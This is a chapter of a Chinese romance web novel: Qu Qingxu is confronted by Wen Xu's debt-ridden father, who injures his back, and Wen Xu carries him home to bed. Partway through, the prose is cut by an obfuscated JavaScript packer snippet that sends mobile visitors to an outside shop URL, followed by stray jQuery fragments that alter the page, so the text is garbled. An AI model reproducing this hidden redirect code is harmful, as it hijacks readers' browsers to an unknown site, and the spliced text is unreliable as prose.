26. 第 26 章
    走到一楼大厅时,瞿清许想起自己还不伦不类地披着别人的外衣,想要脱下来还给闻序,却被对方再次挡下:

    “衣服你先拿着。既然情报共享,我这有些资料,等我取了拿来给你,回家你慢慢看。”

    闻序的配合倒是令他意外。瞿清许点头:“知道了,我就在门口等你。”

    待青年转身离开,瞿清许也转身,走到门口。还没等站定,忽然外面闪过一个鬼鬼祟祟的黑影,未等他看清,一把抓住他的衣角:

    “小云!”

    瞿清许身子一震,赶忙回过头,看清来人的面孔时,心下一沉。

    “您怎么来了?”

    他看着显然早已蹲守在这儿的闻序父亲,压下心头的不安,强作镇定地微笑。

    闻父面含愠色,语气也冲得很:

    “你和闻序怎么都在闹失踪?上次说给银行打电话,问的怎么样了?我和你妈——你伯母的钱可是眼瞅着就要周转不过来了!”

    瞿清许面不改色心不跳:

    “伯父,容我多问一句,您和伯母做的是什么生意,现在资金方面具体是出了什么问题,为什么会还不上?”

    闻父显然没有准备,憋得脸红脖子粗:

    “这,这说来话长……总之,你是闻家未来的儿婿,难道不该有难同当吗?更何况你父亲家底那么厚,就当借给亲家点资金周转一下,大家过去都是兄弟,不会不懂的我的难处!”

    瞿清许被他这理直气壮的态度弄得哭笑不得。

    他其实也没有钱,更不打算让楚江澈或者方叔替他摆平闻父——九年前他就已经认识到,闻序的父母是怎样一个填不平的窟窿。向他们投诚,就等于背叛了过去那个用稚嫩的肩膀生抗下一切苦难的少年。

    这个口子闻序没开过,就更不能从他这里开。

    “伯父,我查到您欠了一百五十万,其中大部分根本不是做生意的钱,是赌资。”

    瞿清许俯视着他,淡然道,“和您说实话,这钱我拿不出来。父亲是给了我生活费,可我回国后已经经济独立,现在和闻序一样,吃穿用度全倚仗最高检的工资。”

    “什——你说现在你没有钱,你父亲也不给你钱?”

    闻父一下如遭晴天霹雳,身子一晃,目光在青年干干净净的手腕上逡巡,面露崩溃。

    “我说怎么别人都穿金戴银,名牌加身,唯独你……”

    他摇了摇头,再度抬眼时,浑浊的双眸中却射出愤怒而阴狠的光。

    他骤然上前一大步:

    “果然有钱人都奸猾,你们方家也不例外!说,你爹他是不是嫌弃我这个穷兄弟,根本就没诚心要和我们结亲?!”

    瞿清许淡然地扬了扬唇角。

    “伯父此话怎讲?结婚是珠联璧合,不是做慈善。照您这意思,您当初看上的到底是我们两家之间的缘分,还是方家的财产?”

    “你这孩子!”闻父又心虚又气恼,登时嘴唇直哆嗦,咬牙切齿地上前,“方家怎么这样没有家教,一个晚辈竟然可以随意对长辈评头论足?!今天我就要替亲家好好管教管教——”

    眼瞅着男人气势汹汹走来,瞿清许反应过来对方这是当真要动手,不得不后退两步,不想这么做反而激起对方的气焰:

    “我们闻家,绝不能有你这种目无尊长的儿婿!”

    说着,闻父伸手抓住瞿清许下意识抬起来格挡的手腕,用力一拽!

    “唔……!”

    他怎么也想不到,光天化日的,闻父真就敢动手教训人。男人虽然上了年纪,力气却大得惊人,瞿清许躲闪不及,一个踉跄向前扑去,腰后某个隐秘的部位撕心裂肺的痛顿时顺着脊椎,传达到了四肢百骸!

    瞿清许脸色顿时惨白如纸,痛得眼前阵阵发黑,短促地叫了一声,双膝一软,脚步虚浮着就要跪倒在地上——

    “方鉴云!”

    想象中狠狠跌倒在石砖地面上的剧痛并没有到来。瞿清许感觉身子一轻,一股强有力的力道箍住他的侧腰,他整个人向后一倒,跌进一个宽厚而温热的胸膛。

    他喘息着,勉强睁开眼睛。

    “儿子?你,你怎么也——”

    须臾功夫,冷汗已经顺着额角淌下,瞿清许下半身麻木得站不住,几次想要瘫倒,握紧他腰侧的那只手却愈发用力,一次次把人搂紧在怀中,紧贴着那具健硕高大的身体。

    他下意识瑟缩着靠紧了热源,紧接着那结实的胸腔一阵低频震动,连带着扶住他腰的那只手都发力收紧:

    “你来找我要钱还不够,居然背着我找方鉴云要钱?!他身体不好,你这么拉扯会伤着他的!”

    腰部的神经突突跳着疼,瞿清许闷哼一声,那只青筋暴起的大手仿佛意识到什么,骤然松懈了力度,另一只手臂也环抱过来,搂着他单薄的蝴蝶骨,把人霸道地护在怀中。

    “你是小云的未婚夫,我向他借点钱怎么了?”

    瞿清许闭着眼睛,看不见闻父此刻的嘴脸,却仍然听到对方急急狡辩着,“闻序,你还没成家,这就胳膊肘往外拐,向着方家了吗!”

    “我不是他的未婚夫!”

    闻序忍无可忍吼了一句,顿了顿,“就算是,这也不是你动手打人的理由。我被赶出家门时再苦再累也没有求你们给我想办法,如今你们也是一样,咱们互不相欠。”

    闻父一下子哑口无言,好半天才不死心地嘀咕着骂道:

    “生养之恩大过天!你这个没良心的白眼狼,小畜生……!”

    刚刚动作幅度太剧烈,瞿清许已经感到痛感越来越难以忍受,几乎呼吸都不敢用力,可比起生理上的疼,闻父那些不堪入耳的话反令他更受不了。他小口倒着气,抬手想去抓住闻序的肩:

    “大不了,我想办法给伯父凑钱……啊!”

    身体骤然腾空,瞿清许抬起头,修长的颈瞬间绷起一个优美却紧绷的弧度。闻序把人打横抱起,一手小心握紧瞿清许的肩胛骨,另一手穿过青年的膝弯,然后侧过头,冷冷地紧盯着自己的亲生父亲。

    ——如果这个人,还可以称为他的父亲的话。

    “今后我们不要再见面了。”他字字咬重,“还有,不要再骚扰方鉴云。他不了解你有多贪婪无耻,可我了解。”

    “闻序你——”

    “当年我敢和你们鱼死网破,如今我也敢。”闻序扬声打断他,抱着人转身,留给闻父一个冷漠的背影。

    “再让我知道你们做这种事,就算你们是我名义上的父母,我也会让你们吃不了兜着走。”

    说完,闻序不再理会身后跳脚的男人,抱着怀中的瞿清许,大步流星离去。

    轻微的颠簸随着青年的步伐传导至脆弱不堪的尾椎骨,瞿清许身子僵硬得动不了,想要蜷缩却只能瑟瑟发抖。他挣扎着,不小心泄出一丝痛苦的呻丨丨吟:

    “啊……”

    抱着他的手臂顿时一僵。闻序放轻了脚步,低头看去,只见臂弯里的青年发丝凌乱,被汗水打湿的几缕长发黏在苍白的脸颊,连那双一向冷静自持的墨色瞳孔都泛着淡淡的红。

    青年喉结禁不住上下一滚。

    “再坚持一下,很快就到家了。”他沉声说。

    瞿清许在他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658602|144024||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    怀中艰难地点头,半阖着眼,蝶翼般的长睫颤动着,难耐地偏过头,昏聩地把脸埋在闻序胸口,颈侧青色的血管蜿蜒至汗湿的领口下。

    “闻序,”他浑浑噩噩地低声喘息,“痛……”

    闻序的心不受控制地狂跳起来。他把人小心地掂了掂,手臂肌肉绷紧,恨不得将人稳稳当当托在怀里,让对方一点震颤都感受不到。

    方宅地段非常好,离检察院并不远,可闻序现下只觉得路长得过分。

    “他不是第一次找你要钱,对不对?”

    怀中的身体轻得要命,明明不是瘦小干枯的骨架,偏偏腰身又窄又薄,闻序几乎要怀疑就是因为他腰太细,才会落下这么严重的伤。

    他快步穿过人行道,眼看着方宅已经出现在视线内,怀中人却依然没有动静。

    于是他垂下头,又唤了声:“方鉴云?”

    怀抱中的人弱弱地应了一声,意识已然散了,一只手抓着闻序的衣襟,纤细的手指不时颤抖着揪紧风衣布料,又无力地放开。

    闻序紧张得加快步伐。

    “已经到家了,”他毫没意识到自己语气何时已极其轻柔,“再忍一小会儿,好吗?”

    他停在大门口,也不知怎么的,福至心灵地从门口放着的绿植盆栽旁边半蹲下来一摸,摸到备用钥匙,抱着人三两下将门打开。瞿清许瘫软在他怀里,身子软得不像话,肩膀随着小口喘气微弱地起伏着。

    可很神奇的,有了那句安慰,他当真不再吭声了。

    “方鉴云,你家的药箱放在哪?伤这么重,家里总该有护具吧?”

    凭着那晚的记忆,闻序把人抱去主卧,掀开被子将人放在床上。身体沾到弹性极佳的高档床垫的一刹那,青年消瘦的身躯一个猛颤,惊.喘了一声:

    “呜……!”

    闻序手一抖,赶紧坐到床头,把人半搂着,好让对方慢慢过渡地翻过来趴好。闻序又抽过一个靠垫,握住青年的腰肢小心翼翼帮他抬起,将枕头塞到平坦的小腹下面垫好。

    “有没有好受些?”

    瞿清许趴在软枕上,汗涔涔的脸埋进深陷的枕面里,一手揪着枕头的一角,手背青筋浮起,气喘微微。闻序能感觉到手中那一段纤韧的腰肢上覆着的薄薄的肌肉止不住地发抖,不时还传来一阵过电般的抽搐。

    半晌,他听见床上的人断断续续道:

    “好多了。谢谢……”

    闻序心里滋啦一下,划开一道酥酥麻麻的口子。

    “我父母的事以后你别掺和,他们会害了你的。”闻序松开手,往下坐了点,抓住青年的一只脚踝,不理会对方虚弱的挣扎,帮他脱下鞋子,“别拉不下脸,该拒绝就拒绝,知道吗。”

    闻序帮人脱了鞋,又替对方盖好被子。青年脑后的发簪已经歪斜下来,半扎的丸子也松了,半长的漂亮黑发散落下来,衬得他脸颊几乎过分清瘦。闻序用力闭了闭眼,这才别过头,搭在膝头的双手空攥成拳。

    屋内一时只剩下某个人垂弱的呼吸。

    静坐了好久,闻序终于下定决心,要站起身来:

    “你好好养伤,有情况随时给我打——”

    细微如蚊蝇的哼声带着奄奄一息的鼻音,闻序话音一顿,回过头。

    一只细瘦得简直易碎般的手扯住了他的衣摆,指节打着颤,却已经使劲了全部的力气,坚决地拉住他。

    瞿清许拼命抬起头来,毫无血色的嘴唇微启:

    “求你……”

    闻序倏地僵住了。

    “别走,”他眼睁睁看着青年恳求地望着他,“闻序,不要……”